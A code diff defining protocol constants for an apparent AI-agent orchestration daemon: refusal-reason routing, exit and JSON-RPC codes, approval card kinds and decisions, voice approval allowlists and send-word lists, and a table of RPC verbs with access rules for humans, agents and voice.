+ "foreign-principal": { code: "AUTH", gate: "transport" },
987
+ "root-unprovisioned": { code: "AUTH", gate: "transport" },
988
+ "unknown-device": { code: "AUTH", gate: "transport" },
989
+ "principal-mismatch": { code: "AUTH", gate: "transport" },
990
+ "peer-not-client": { code: "AUTH", gate: "transport" },
991
+ "bad-signature": { code: "AUTH", gate: "transport" },
992
+ // read tokens (auth.ts, identity/read-token.ts; M1.4 slice 3, P8-D89/D89a)
993
+ "unknown-token": { code: "AUTH", gate: "transport" },
994
+ "token-expired": { code: "AUTH", gate: "transport" },
995
+ "token-revoked": { code: "AUTH", gate: "transport" },
996
+ "token-in-use": { code: "AUTH", gate: "transport" },
997
+ "token-not-yet-valid": { code: "AUTH", gate: "transport" },
998
+ "token-store-untrusted": { code: "AUTH", gate: "transport" },
999
+ // dispatch (dispatch.ts)
1000
+ "unknown-verb": { code: "UNKNOWN_VERB", gate: "usage" },
1001
+ unauthenticated: { code: "AUTH", gate: "transport" },
1002
+ matrix: { code: "FORBIDDEN", gate: "transport" },
1003
+ "not-implemented": { code: "ENGINE", gate: "transport" },
1004
+ "log-write-failed": { code: "ENGINE", gate: "transport" },
1005
+ gone: { code: "ENGINE", gate: "transport" },
1006
+ // log.append namespace ownership (log-append.ts; M1.4 slice 3, P8-D89)
1007
+ "kernel-owned": { code: "FORBIDDEN", gate: "transport" },
1008
+ ungranted: { code: "FORBIDDEN", gate: "transport" },
1009
+ "modns-not-own": { code: "FORBIDDEN", gate: "transport" },
1010
+ "bad-kind": { code: "BAD_REQUEST", gate: "usage" },
1011
+ "bad-params": { code: "BAD_REQUEST", gate: "usage" },
1012
+ // reasons the kernel already sent since M1.4 slice 2 (log-read.ts, refs/resolve.ts, redaction.ts, kernel-log read side) — P8-D89 round 3
1013
+ "follow-needs-id": { code: "BAD_REQUEST", gate: "usage" },
1014
+ "backlog-too-large": { code: "BAD_REQUEST", gate: "usage" },
1015
+ "bad-since": { code: "BAD_REQUEST", gate: "usage" },
1016
+ "bad-until": { code: "BAD_REQUEST", gate: "usage" },
1017
+ "bad-limit": { code: "BAD_REQUEST", gate: "usage" },
1018
+ "bad-follow": { code: "BAD_REQUEST", gate: "usage" },
1019
+ "bad-kinds": { code: "BAD_REQUEST", gate: "usage" },
1020
+ "bad-scope": { code: "BAD_REQUEST", gate: "usage" },
1021
+ "since-ahead": { code: "BAD_REQUEST", gate: "usage" },
1022
+ "subscription-cap": { code: "BAD_REQUEST", gate: "usage" },
1023
+ "mod-principal-name": { code: "FORBIDDEN", gate: "transport" },
1024
+ "reader-unsupported": { code: "UNSUPPORTED", gate: "usage" },
1025
+ "bad-ref": { code: "BAD_REQUEST", gate: "usage" },
1026
+ "rev-not-applicable": { code: "BAD_REQUEST", gate: "usage" },
1027
+ "unknown-scheme": { code: "UNSUPPORTED", gate: "usage" },
1028
+ "peer-ref": { code: "UNSUPPORTED", gate: "usage" },
1029
+ "no-resolver": { code: "UNSUPPORTED", gate: "usage" },
1030
+ "not-found": { code: "NOT_FOUND", gate: "usage" },
1031
+ "row-integrity": { code: "ENGINE", gate: "transport" },
1032
+ closed: { code: "ENGINE", gate: "transport" },
1033
+ // server internals (server.ts)
1034
+ "response-too-large": { code: "ENGINE", gate: "transport" },
1035
+ internal: { code: "ENGINE", gate: "transport" }
1036
+ });
1037
+ var SOCKET_REFUSAL_REASONS = Object.freeze(Object.keys(SOCKET_REASON_ROUTES));
1038
+ var CLIENT_LOCAL_REFUSAL_REASONS = ["hello-not-offered", "client-nonce-mismatch"];
1039
+ var D98_REASON_ROUTES = Object.freeze({
1040
+ "stale-claim": { code: "CAS_LOST", gate: "claim" },
1041
+ "claim-expired": { code: "CAS_LOST", gate: "claim" },
1042
+ "claim-superseded": { code: "CAS_LOST", gate: "claim" },
1043
+ "cursor-epoch": { code: "BAD_REQUEST", gate: "usage" },
1044
+ draining: { code: "ENGINE", gate: "transport" },
1045
+ "cwd-hint-too-long": { code: "BAD_REQUEST", gate: "usage" },
1046
+ "connection-gone": { code: "ENGINE", gate: "transport" }
1047
+ });
1048
+ var D98_REFUSAL_REASONS = Object.freeze(Object.keys(D98_REASON_ROUTES));
1049
+ var MODEL_SWITCH_REASON_ROUTES = Object.freeze({
1050
+ "turn-running": { code: "UNSUPPORTED", gate: "usage" },
1051
+ "model-switching": { code: "UNSUPPORTED", gate: "usage" },
1052
+ "local-session": { code: "UNSUPPORTED", gate: "usage" },
1053
+ "context-too-large": { code: "UNSUPPORTED", gate: "usage" },
1054
+ "model-switch-failed": { code: "MODEL_UNAVAILABLE", gate: "usage" },
1055
+ "model-switch-timeout": { code: "ENGINE", gate: "transport" }
1056
+ });
1057
+ var MODEL_SWITCH_REFUSAL_REASONS = Object.freeze(Object.keys(MODEL_SWITCH_REASON_ROUTES));
1058
+ var OTHER_REFUSAL_REASONS = ["presence"];
1059
+ var RULES_VIEW_REFUSAL_REASONS = ["already-on", "would-loosen", "until-past", "until-too-far", "too-many", "too-large", "card-pending", "partial"];
1060
+ var REFUSAL_REASONS = [
1061
+ ...VOICE_REFUSAL_REASONS,
1062
+ ...LINK_REFUSAL_REASONS,
1063
+ ...REVIEW_REFUSAL_REASONS,
1064
+ ...STRICTNESS_REFUSAL_REASONS,
1065
+ ...CHANGE_NOTE_REFUSAL_REASONS,
1066
+ ...OTHER_REFUSAL_REASONS,
1067
+ ...CLIENT_LOCAL_REFUSAL_REASONS,
1068
+ ...SOCKET_REFUSAL_REASONS,
1069
+ ...D98_REFUSAL_REASONS,
1070
+ ...MODEL_SWITCH_REFUSAL_REASONS,
1071
+ ...RULES_VIEW_REFUSAL_REASONS
1072
+ ];
1073
+ var RESERVED_REASON_ROUTES = Object.freeze({
1074
+ "review-cap": { code: "FORBIDDEN", gate: "review" },
1075
+ "strictness-presence": { code: "FORBIDDEN", gate: "strictness" },
1076
+ "strictness-paused": { code: "FORBIDDEN", gate: "strictness" },
1077
+ "strictness-mode": { code: "FORBIDDEN", gate: "strictness" },
1078
+ "strictness-evidence": { code: "FORBIDDEN", gate: "strictness" },
1079
+ "voice-strictness": { code: "FORBIDDEN", gate: "voice" },
1080
+ "note-missing": { code: "BAD_REQUEST", gate: "usage" }
1081
+ });
1082
+ var REFUSAL_V1_REQUIRED = [
1083
+ "schemaVersion",
1084
+ "code",
1085
+ "verdict",
1086
+ "gate",
1087
+ "retriable",
1088
+ "contested",
1089
+ "contestedTotal",
1090
+ "pointers",
1091
+ "next"
1092
+ ];
1093
+ var EXIT_CODES = Object.freeze({
1094
+ GATE_REFUSED: 1,
1095
+ INTEGRITY_BROKEN: 1,
1096
+ ENGINE: 1,
1097
+ BAD_REQUEST: 2,
1098
+ UNKNOWN_VERB: 2,
1099
+ NOT_FOUND: 2,
1100
+ AUTH: 2,
1101
+ FORBIDDEN: 2,
1102
+ UNSUPPORTED: 2,
1103
+ CLAIM_BREACH: 3,
1104
+ TRUST_HELD: 4,
1105
+ STALE_BASE: 5,
1106
+ BUDGET_DENIED: 6,
1107
+ PERMIT_REQUIRED: 2,
1108
+ CAS_LOST: 7,
1109
+ BILLING_REFUSED: 8,
1110
+ MODEL_UNAVAILABLE: 9
1111
+ });
1112
+ var JSON_RPC_CODES = Object.freeze({
1113
+ AUTH: -32001,
1114
+ FORBIDDEN: -32002,
1115
+ NOT_FOUND: -32004,
1116
+ UNSUPPORTED: -32005,
1117
+ BAD_REQUEST: -32600,
1118
+ UNKNOWN_VERB: -32601,
1119
+ ENGINE: -32e3,
1120
+ BUDGET_DENIED: -32010,
1121
+ PERMIT_REQUIRED: -32011,
1122
+ CAS_LOST: -32012,
1123
+ INTEGRITY_BROKEN: -32013,
1124
+ GATE_REFUSED: -32020,
1125
+ CLAIM_BREACH: -32021,
1126
+ TRUST_HELD: -32022,
1127
+ STALE_BASE: -32023,
1128
+ BILLING_REFUSED: -32030,
1129
+ MODEL_UNAVAILABLE: -32031
1130
+ });
1131
+ var RISK_TIERS = ["low", "medium", "high"];
1132
+ var AGENT_REVERT_HOWS = ["auto", "command", "manual"];
1133
+ var KERNEL_REVERT_HOWS = ["auto", "none"];
1134
+ var CHANGE_NOTE_LIMITS = Object.freeze({ summaryBytes: 1024, whyBytes: 512, stepsBytes: 1024 });
1135
+ var CHANGE_NOTE_AGENT_KEYS = ["testedHow", "risk", "revert", "draftedBy"];
1136
+ var CHANGE_NOTE_KERNEL_KEYS = ["verified", "risk", "revert"];
1137
+ var FINDING_SEVERITIES = ["important", "nit", "pre-existing"];
1138
+ var FINDING_RESPONSES = ["fixed", "wrong", "intentional", "immaterial"];
1139
+ var LINE_RANGE_PATTERN = /^[1-9][0-9]*(-[1-9][0-9]*)?$/;
1140
+ var REVIEW_FINDING_V1_KEYS = ["fid", "round", "class", "severity", "locus", "instances", "claim", "fingerprint"];
1141
+ var CARD_KINDS = [
1142
+ "permission",
1143
+ "budget",
1144
+ "knot",
1145
+ "tend",
1146
+ "verdict",
1147
+ "merge-conflict",
1148
+ "gate-class",
1149
+ "install",
1150
+ "fallback",
1151
+ "ask-user",
1152
+ "plan",
1153
+ "api-token",
1154
+ "voice-share",
1155
+ "voice-arm",
1156
+ "grant",
1157
+ "handoff",
1158
+ "declassify",
1159
+ "peer-pair",
1160
+ "reconsider",
1161
+ "strictness",
1162
+ "incident",
1163
+ // P8-D98 (TD-2026-10-19-528 F3): `gnomon daemon stop` raises a signed daemon-stop card decided with fresh presence.
1164
+ "daemon-stop",
1165
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §3.3; the ONE loops clientApiId move) ──────────────────────────
1166
+ // loop-trust: a human trusts a loop definition's exact content hash (root key + fresh presence; never always,
1167
+ // never standing, never by voice).
1168
+ // loop-choice: a loop's decide node (`notify as: card`): continue (fresh, hand-only) or stop (deny-direction).
1169
+ "loop-trust",
1170
+ "loop-choice"
1171
+ ];
1172
+ var CARD_STATES = ["pending", "held", "decided", "expired"];
1173
+ var CARD_FLAGS = ["hidden-chars", "bidi", "voice-phrase", "peer", "irreversible", "claim-mismatch"];
1174
+ var CARD_DECISIONS = [
1175
+ "allow",
1176
+ "always",
1177
+ "deny",
1178
+ "resume",
1179
+ "resolve",
1180
+ "accept",
1181
+ "reject",
1182
+ "install",
1183
+ "answer",
1184
+ "approve-plan",
1185
+ "fallback-cloud",
1186
+ "use-api-token",
1187
+ "withdraw",
1188
+ "extend",
1189
+ "restart",
1190
+ // ── 8.0:loops: the loop-choice card's two decisions (valid only on a loop-choice card) ──
1191
+ "continue",
1192
+ "stop"
1193
+ ];
1194
+ var PRESENCE_VALUES = ["fresh", "cached", "cli", "voice-armed"];
1195
+ var VIA_VALUES = ["gui", "wrapper", "cli", "client", "voice", "link"];
1196
+ var VOICE_ELIGIBILITY = ["none", "reversible", "gate", "judgment"];
1197
+ var VOICE_INELIGIBLE_REASONS = ["hand-only", "class", "flagged", "voice-phrase", "policy"];
1198
+ var VOICE_ARM_CLASSES = ["reversible", "gate"];
1199
+ var VOICE_MODES = ["ptt", "conversation"];
1200
+ var HANDOFF_DIRECTIONS = ["out", "in"];
1201
+ var STRICTNESS_LEVELS = ["L0", "L1", "L2", "L3"];
1202
+ var RUN_MODES = ["manual", "ask", "auto-edits"];
1203
+ var APPROVE_SIG_DOMAIN = "gnomon:approve:v1";
1204
+ var DECISION_SIG_V2_MARKER = "gnomon:decision:v2";
1205
+ function decisionMessageV2(f) {
1206
+ return [DECISION_SIG_V2_MARKER, f.cardId, f.decision, f.cardContentHash, f.approverPrincipalId, f.answerDigest].join("\n");
1207
+ }
1208
+ var DECISION_SIG_V2_DECISIONS = Object.freeze(["answer"]);
1209
+ var APPROVE_SCOPE_KINDS = Object.freeze(["exact", "prefix", "file", "repo-edits"]);
1210
+ var APPROVE_SCOPE_PREFIX_MAX_WORDS = 3;
1211
+ var DECISION_SIG_V2_SCOPED_DECISIONS = Object.freeze(["always"]);
1212
+ function scopeDigest(scope) {
1213
+ return sha256Tagged(canonicalJson(scope.kind === "prefix" ? { kind: "prefix", prefix: [...scope.prefix] } : { kind: scope.kind }));
1214
+ }
1215
+ var CARD_EXPIRY_WHYS = ["timeout", "cancelled", "session-exited", "duplicate-request-id", "answered", "session-drained"];
1216
+ var CARD_RESERVED_VALUES = Object.freeze({
1217
+ "M1.1:P8-D58": Object.freeze({
1218
+ kind: ["voice-arm", "grant"],
1219
+ state: ["held"],
1220
+ decision: ["withdraw"],
1221
+ flag: ["voice-phrase"],
1222
+ presence: ["voice-armed"],
1223
+ via: ["voice"]
1224
+ }),
1225
+ "M1.1:P8-R9": Object.freeze({
1226
+ kind: ["handoff", "declassify", "peer-pair"],
1227
+ flag: ["peer"],
1228
+ via: ["link"]
1229
+ }),
1230
+ "M1.1:P8-D86-D88": Object.freeze({
1231
+ kind: ["reconsider", "strictness", "incident"],
1232
+ decision: ["extend", "restart"],
1233
+ flag: ["irreversible", "claim-mismatch"],
1234
+ field: ["note", "strictness"]
1235
+ }),
1236
+ "8.0:P8-D98": Object.freeze({
1237
+ kind: ["daemon-stop"],
1238
+ expiryWhy: ["session-drained"]
1239
+ }),
1240
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §3.3, §5) ──
1241
+ "8.0:loops": Object.freeze({
1242
+ kind: ["loop-trust", "loop-choice"],
1243
+ decision: ["continue", "stop"]
1244
+ })
1245
+ });
1246
+ var CARD_V1_REQUIRED = [
1247
+ "schemaVersion",
1248
+ "cardId",
1249
+ "kind",
1250
+ "requestedBy",
1251
+ "attended",
1252
+ "approverPolicy",
1253
+ "block",
1254
+ "contentHash",
1255
+ "actions",
1256
+ "state"
1257
+ ];
1258
+ var RECONSIDER_ONLY_DECISIONS = Object.freeze(["extend", "restart"]);
1259
+ var LOOP_CHOICE_ONLY_DECISIONS = Object.freeze(["continue", "stop"]);
1260
+ var row = (approve, deny) => Object.freeze({ approve: Object.freeze({ ...approve }), deny: Object.freeze([...deny]) });
1261
+ var VOICE_ALLOWLIST = Object.freeze({
1262
+ // toggle 1 (D58, §14.7 Toggles)
1263
+ permission: row({ reversible: ["allow", "deny"] }, ["deny"]),
1264
+ // `always` never by voice (§14.7 Never)
1265
+ // Aegis L1 (2026-10-24, #gui-ask-card): voice never answers a question (broker #approve refuses voice); ask-user
1266
+ // takes no deny-direction decision, so the row is empty: hand only
1267
+ "ask-user": row({}, []),
1268
+ plan: row({ reversible: ["approve-plan"] }, ["reject"]),
1269
+ // toggle 2 (D58, §14.7 Toggles)
1270
+ "gate-class": row({ gate: ["allow"] }, ["deny"]),
1271
+ fallback: row({ gate: ["fallback-cloud"] }, ["deny"]),
1272
+ budget: row({ gate: ["resume"] }, ["deny"]),
1273
+ // judgment sub-opt-in (D61)
1274
+ knot: row({ judgment: ["resolve"] }, ["deny"]),
1275
+ verdict: row({ judgment: ["accept", "reject"] }, ["reject"]),
1276
+ // hand-only for approving; D66 deny row only (§14.7 Never by voice + Exception D66)
1277
+ tend: row({}, ["reject"]),
1278
+ "merge-conflict": row({}, ["deny"]),
1279
+ install: row({}, ["deny"]),
1280
+ "api-token": row({}, ["deny"]),
1281
+ "voice-share": row({}, ["deny"]),
1282
+ "voice-arm": row({}, ["deny"]),
1283
+ grant: row({}, ["deny"]),
1284
+ handoff: row({}, ["reject"]),
1285
+ declassify: row({}, ["reject"]),
1286
+ "peer-pair": row({}, ["reject"]),
1287
+ reconsider: row({}, ["reject"]),
1288
+ // restart|extend never by voice
1289
+ strictness: row({}, ["deny"]),
1290
+ // every run-mode or level change is hand-only
1291
+ // FOUNDER RULING (TD-2026-10-19-677, Aegis M2): fully hand-only by voice, deny/reject included — the D66 exception.
1292
+ incident: row({}, []),
1293
+ "daemon-stop": row({}, []),
1294
+ // `daemon stop` is root-signed-class (§14.7 Never)
1295
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §7) ──
1296
+ // loop-trust is root class and "never by voice", deny included (§3.1, §7: voice cannot trust or resume loops).
1297
+ "loop-trust": row({}, []),
1298
+ // loop-choice: `continue` is hand-only fresh presence; `stop` is voice-eligible in the spec (§3.3), but voice on
1299
+ // loop-choice is deferred to 8.1 (founder scope, docs/plans/gnomon-loops-build.md), so it is hand-only in 8.0.
1300
+ "loop-choice": row({}, [])
1301
+ });
1302
+ var CAPTURE_KINDS = Object.freeze(["ptt", "open", "toggle"]);
1303
+ var SEND_POLICIES = Object.freeze(["key", "countdown", "word", "pieces"]);
1304
+ var SENT_BY = Object.freeze(["key", "release", "word", "piece", "hotkey"]);
1305
+ var VOICE_ORIGINS = Object.freeze(["hand", "voice", "voice-unverified"]);
1306
+ var VOICE_SENT_BY = Object.freeze(["word", "piece", "hotkey", "unverified"]);
1307
+ var VOICE_PRESETS = Object.freeze({
1308
+ talk: Object.freeze({ capture: "ptt", send: "countdown" }),
1309
+ dictate: Object.freeze({ capture: "open", send: "key" }),
1310
+ "send-word": Object.freeze({ capture: "open", send: "word" }),
1311
+ pieces: Object.freeze({ capture: "open", send: "pieces" })
1312
+ });
1313
+ var VOICE_PRESET_IDS = Object.freeze(Object.keys(VOICE_PRESETS));
1314
+ var LIABILITY_SEND_POLICIES = Object.freeze(["word", "pieces"]);
1315
+ var VOICE_LIABILITY_ACK_TEXT = "Anyone near my mic can send for me: the send word sends my whole draft, and it runs like a message I typed.";
1316
+ var VOICE_LIABILITY_ACK_HASH = sha256Tagged(VOICE_LIABILITY_ACK_TEXT);
1317
+ var SEND_WORD_RESERVED = Object.freeze([
1318
+ "allow",
1319
+ "deny",
1320
+ "approve",
1321
+ "approved",
1322
+ "reject",
1323
+ "rejected",
1324
+ "accept",
1325
+ "always",
1326
+ "yes",
1327
+ "no",
1328
+ "undo",
1329
+ "confirm",
1330
+ "confirmed",
1331
+ "cancel",
1332
+ "stop",
1333
+ "stop speaking",
1334
+ "hold",
1335
+ "wait",
1336
+ "resume",
1337
+ "withdraw",
1338
+ "answer",
1339
+ "arm",
1340
+ "disarm",
1341
+ "approve plan",
1342
+ "allow always",
1343
+ "yes allow",
1344
+ "never"
1345
+ ]);
1346
+ var SEND_WORD_COMMON = Object.freeze([
1347
+ "ok",
1348
+ "okay",
1349
+ "right",
1350
+ "so",
1351
+ "well",
1352
+ "yeah",
1353
+ "yep",
1354
+ "thanks",
1355
+ "thank you",
1356
+ "done",
1357
+ "go",
1358
+ "next",
1359
+ "and",
1360
+ "the",
1361
+ "now",
1362
+ "please",
1363
+ "sure",
1364
+ "good",
1365
+ "great",
1366
+ "cool",
1367
+ "alright",
1368
+ "send"
1369
+ ]);
1370
+ var SEND_WORD_SUGGESTIONS = Object.freeze(["send", "send it", "over", "ship it", "over and out"]);
1371
+ var SEND_WORD_VARIANT_STOP = Object.freeze([
1372
+ "a",
1373
+ "an",
1374
+ "and",
1375
+ "end",
1376
+ "the",
1377
+ "of",
1378
+ "or",
1379
+ "for",
1380
+ "nor",
1381
+ "to",
1382
+ "too",
1383
+ "in",
1384
+ "on",
1385
+ "at",
1386
+ "it",
1387
+ "is",
1388
+ "as",
1389
+ "be",
1390
+ "by",
1391
+ "if",
1392
+ "so",
1393
+ "but",
1394
+ "not",
1395
+ "off",
1396
+ "up",
1397
+ "yet",
1398
+ "all",
1399
+ "any",
1400
+ "are",
1401
+ "was",
1402
+ "were",
1403
+ "has",
1404
+ "had",
1405
+ "have",
1406
+ "do",
1407
+ "did",
1408
+ "does",
1409
+ "can",
1410
+ "will",
1411
+ "just",
1412
+ "that",
1413
+ "this",
1414
+ "then",
1415
+ "than",
1416
+ "there",
1417
+ "here",
1418
+ "what",
1419
+ "when",
1420
+ "who",
1421
+ "how",
1422
+ "why",
1423
+ "you",
1424
+ "your",
1425
+ "me",
1426
+ "my",
1427
+ "we",
1428
+ "our",
1429
+ "they",
1430
+ "them",
1431
+ "he",
1432
+ "she",
1433
+ "his",
1434
+ "her",
1435
+ "its",
1436
+ "with",
1437
+ "from",
1438
+ "into",
1439
+ "um",
1440
+ "uh",
1441
+ "er",
1442
+ "erm",
1443
+ "ah",
1444
+ "oh",
1445
+ "hm",
1446
+ "hmm",
1447
+ "mm",
1448
+ "mhm",
1449
+ "huh",
1450
+ "eh",
1451
+ "hey",
1452
+ "hi",
1453
+ "like",
1454
+ "see",
1455
+ "say",
1456
+ "said"
1457
+ ]);
1458
+ var GNOMON_RPC_V1 = "gnomon-rpc:v1";
1459
+ var CLIENT_SURFACES = ["browser", "wrapper", "cli", "conductor"];
1460
+ var VERBS = deepFreeze([
1461
+ {
1462
+ n: 1,
1463
+ verb: "status",
1464
+ params: [],
1465
+ result: "self-description",
1466
+ refusals: ["AUTH"],
1467
+ humanOnly: false,
1468
+ access: { human: "yes", agent: "yes", session: "yes", mod: "own view", voice: "yes", readToken: "yes", peer: false }
1469
+ },
1470
+ {
1471
+ n: 2,
1472
+ verb: "session.open",
1473
+ params: ["backend?", "model", "cwd", "mode?", "runMode?", "as?", "goal?", "contract?", "alias?", "derived?", "permitId?", "systemPrompt?", "attended", "brief?"],
1474
+ result: "{hsid, principalId, backend, state}",
1475
+ refusals: ["PERMIT_REQUIRED", "BUDGET_DENIED", "BILLING_REFUSED", "MODEL_UNAVAILABLE", "UNSUPPORTED", "FORBIDDEN"],
1476
+ humanOnly: false,
1477
+ access: { human: "yes", agent: "permit", session: "permit", mod: false, voice: false, readToken: false, peer: false }
1478
+ },
1479
+ {
1480
+ n: 3,
1481
+ verb: "session.send",
1482
+ params: ["hsid", "content", "permitId", "steer?", "source?"],
1483
+ result: "{turn}",
1484
+ refusals: ["PERMIT_REQUIRED", "BUDGET_DENIED", "NOT_FOUND", "BAD_REQUEST"],
1485
+ humanOnly: false,
1486
+ access: { human: "yes", agent: "own subtree", session: "own subtree", mod: "via kernel.call with caller hsid, same scope", voice: "attached session, source: voice forced", readToken: false, peer: false }
1487
+ },
1488
+ {
1489
+ n: 4,
1490
+ verb: "session.stop",
1491
+ params: ["hsid", "interrupt?"],
1492
+ result: "{signals[], exited}",
1493
+ refusals: ["NOT_FOUND", "FORBIDDEN"],
1494
+ humanOnly: false,
1495
+ access: { human: "yes", agent: "own subtree", session: "own subtree", mod: false, voice: "interrupt only", readToken: false, peer: false }
1496
+ },
1497
+ {
1498
+ n: 5,
1499
+ verb: "log.append",
1500
+ params: ["kind", "payload?", "ref?", "causes?", "scope?", "idem?", "audience?", "sensitivity?"],
1501
+ result: "{id, seq, hash}",
1502
+ refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
1503
+ humanOnly: false,
1504
+ access: { human: "granted kinds + request.* (first-party human-class connections)", agent: "granted kinds", session: false, mod: "modns.<name>.* only", voice: "voice.* + request.voice.arm", readToken: false, peer: false }
1505
+ },
1506
+ {
1507
+ n: 6,
1508
+ verb: "log.read",
1509
+ params: ["since?", "kinds?", "scope?", "follow?"],
1510
+ result: "backlog + stream",
1511
+ refusals: ["AUTH", "BAD_REQUEST"],
1512
+ humanOnly: false,
1513
+ access: { human: "full", agent: "redacted", session: "own scope", mod: "granted kinds, own modns", voice: "own session + voice.*", readToken: "redacted", peer: false }
1514
+ },
1515
+ {
1516
+ n: 7,
1517
+ verb: "permit.reserve",
1518
+ params: ["kind", "scope", "backend?", "model?", "limits?", "tool?", "input?", "op?", "permitId?"],
1519
+ result: "permit:v1",
1520
+ refusals: ["BUDGET_DENIED", "BILLING_REFUSED", "FORBIDDEN"],
1521
+ humanOnly: false,
1522
+ access: { human: "yes", agent: "yes", session: "own scope", mod: false, voice: false, readToken: false, peer: false }
1523
+ },
1524
+ {
1525
+ n: 8,
1526
+ verb: "approve",
1527
+ params: ["cardId?", "decision", "note?", "decisionSig?", "via?", "voice?", "scope?"],
1528
+ result: "card:v1",
1529
+ refusals: ["FORBIDDEN", "NOT_FOUND", "AUTH"],
1530
+ humanOnly: true,
1531
+ access: { human: "presence per class; root key for use-api-token, install; withdraw on held cards with no presence", agent: false, session: false, mod: false, voice: "intent form only, supervised child inside a live arm", readToken: false, peer: false }
1532
+ },
1533
+ {
1534
+ n: 9,
1535
+ verb: "contract.register",
1536
+ params: ["contract"],
1537
+ result: "{contractId, nodes}",
1538
+ refusals: ["BAD_REQUEST", "FORBIDDEN"],
1539
+ humanOnly: false,
1540
+ access: { human: "yes", agent: "yes", session: false, mod: false, voice: false, readToken: false, peer: false }
1541
+ },
1542
+ {
1543
+ n: 10,
1544
+ verb: "contract.claim",
1545
+ params: ["contractId", "nodeId", "op", "ttl?", "expect?", "note?", "responses?"],
1546
+ result: "{nodeId, status, by, seq, expiresAt?}",
1547
+ refusals: ["CAS_LOST", "NOT_FOUND", "BAD_REQUEST"],
1548
+ humanOnly: false,
1549
+ access: { human: "yes", agent: "yes", session: "yes", mod: false, voice: false, readToken: false, peer: false }
1550
+ },
1551
+ {
1552
+ n: 11,
1553
+ verb: "oracle.run",
1554
+ params: ["contractId", "nodeId", "oracle"],
1555
+ result: "oracle:v1",
1556
+ refusals: ["PERMIT_REQUIRED", "UNSUPPORTED", "ENGINE", "FORBIDDEN"],
1557
+ humanOnly: false,
1558
+ access: { human: "yes", agent: "requests", session: "requests", mod: false, voice: false, readToken: false, peer: false }
1559
+ },
1560
+ {
1561
+ n: 12,
1562
+ verb: "ref.resolve",
1563
+ params: ["ref"],
1564
+ result: "{target, hash?}",
1565
+ refusals: ["BAD_REQUEST", "UNSUPPORTED", "NOT_FOUND"],
1566
+ humanOnly: false,
1567
+ access: { human: "yes", agent: "yes", session: "yes", mod: "yes", voice: "yes", readToken: "yes", peer: false }
1568
+ }
1569
+ ]);
1570
+ var VERB_NAMES = Object.freeze(VERBS.map((v) => v.verb));
1571
+ var HUMAN_DEVICE_ACCESS = "verified human device";
1572
+ var HUMAN_DEVICE_VERBS = deepFreeze([
1573
+ {
1574
+ n: 13,
1575
+ verb: "gui.open",
1576
+ params: ["cwdHint?"],
1577
+ result: "{url, expiresAt}",
1578
+ refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
1579
+ humanOnly: true,
1580
+ access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
1581
+ },
1582
+ {
1583
+ n: 14,
1584
+ verb: "rules.revoke",
1585
+ params: ["ruleId"],
1586
+ result: "{ruleId, revoked}",
1587
+ refusals: ["FORBIDDEN", "NOT_FOUND", "BAD_REQUEST", "ENGINE"],
1588
+ humanOnly: true,
1589
+ access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
1590
+ },
1591
+ {
1592
+ n: 15,
1593
+ verb: "daemon.stop",
1594
+ params: ["reason?"],
1595
+ result: "{cardId, state}",
1596
+ refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
1597
+ humanOnly: true,
1598
+ access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
1599
+ }
1600
+ ]);
1601
+ var HUMAN_DEVICE_VERB_NAMES = Object.freeze(HUMAN_DEVICE_VERBS.map((v) => v.verb));
1602
+ var DAEMON_STOP_REASONS = Object.freeze(["stop", "upgrade"]);
1603
+ var CLIENT_RELAYS = deepFreeze([
1604
+ { relay: "mod.view", params: ["name", "viewId", "input"], forwardsAs: "view.render" },
1605
+ { relay: "mod.command", params: ["name", "commandId", "args"], forwardsAs: "command.run" }
1606
+ ]);
1607
+ var RELAY_NAMES = Object.freeze(CLIENT_RELAYS.map((r) => r.relay));
1608
+ var VERB_PARAM_VALUES = deepFreeze({
1609
+ "session.open.runMode": [...RUN_MODES],
1610
+ "contract.claim.note": ["change-note.v1.schema.json#/$defs/claim"],
1611
+ "contract.claim.responses[].response": [...FINDING_RESPONSES]
1612
+ });
1613
+ var RESERVED_CONTENT_PARTS = ["brief"];
1614
+ var STATUS_RESERVED_FIELDS = deepFreeze({
1615
+ links: { reserved: "M1.1:P8-R9", section: "\xA73.9" },
1616
+ strictness: { reserved: "M1.1:P8-D86-D88", section: "\xA73.4" },
1617
+ review: { reserved: "M1.1:P8-D86-D88", section: "\xA77.3" },
1618
+ unobservedRefWrites: { reserved: "M1.1:P8-D86-D88", section: "\xA73.4" },
1619
+ // TD-2026-10-19-194 (voice V0, founder ruling): the live voice arms (empty after a drain) and the arm custody.
1620
+ arms: { reserved: "8.0:TD-2026-10-19-194", section: "\xA714.7" },
1621
+ armCustody: { reserved: "8.0:TD-2026-10-19-194", section: "\xA714.7" }
1622
+ });
1623
+ var CLIENT_METHODS = Object.freeze([...VERB_NAMES, ...HUMAN_DEVICE_VERB_NAMES, ...RELAY_NAMES]);
1624
+ var RESERVED_HELLO_FEATURES = Object.freeze(["journal.cursor", "session.resume"]);
1625
+ var LOG_READ_CURSOR_KEYS = ["logId", "seq"];
1626
+ var D98_CLOSED_VALUES = deepFreeze({
1627
+ "approval.rule.learned.match": [...ALWAYS_RULE_MATCHES],
1628
+ "session.drained.reason": [...DRAIN_REASONS],
1629
+ // §2.4 rule 11 drain-and-resume rows (T-2026-10-19-014 B1/B2).
1630
+ "session.open.resume.outcome": [...DRAIN_OUTCOMES],
1631
+ "session.sandbox.drainOutcome": [...DRAIN_OUTCOMES],
1632
+ "session.sandbox.phase.resume": [...SANDBOX_D98_PHASES],
1633
+ "session.sandbox.note": [...RESUME_NOTES],
1634
+ "session.exited.reason.drain": [...DRAIN_EXIT_REASONS],
1635
+ "session.inject.channel.drain": [...DRAIN_INJECT_CHANNELS],
1636
+ "session.inject.deadlineSource": [...DRAIN_DEADLINE_SOURCES],
1637
+ "session.refused.resume": [...RESUME_REFUSALS],
1638
+ // #trace-capture (TD-2026-10-19-057): session.sandbox{traced:false, traceRefused}.
1639
+ "session.sandbox.traceRefused": [...TRACE_REFUSALS],
1640
+ "daemon.stop.reason": [...DAEMON_STOP_REASONS]
1641
+ });
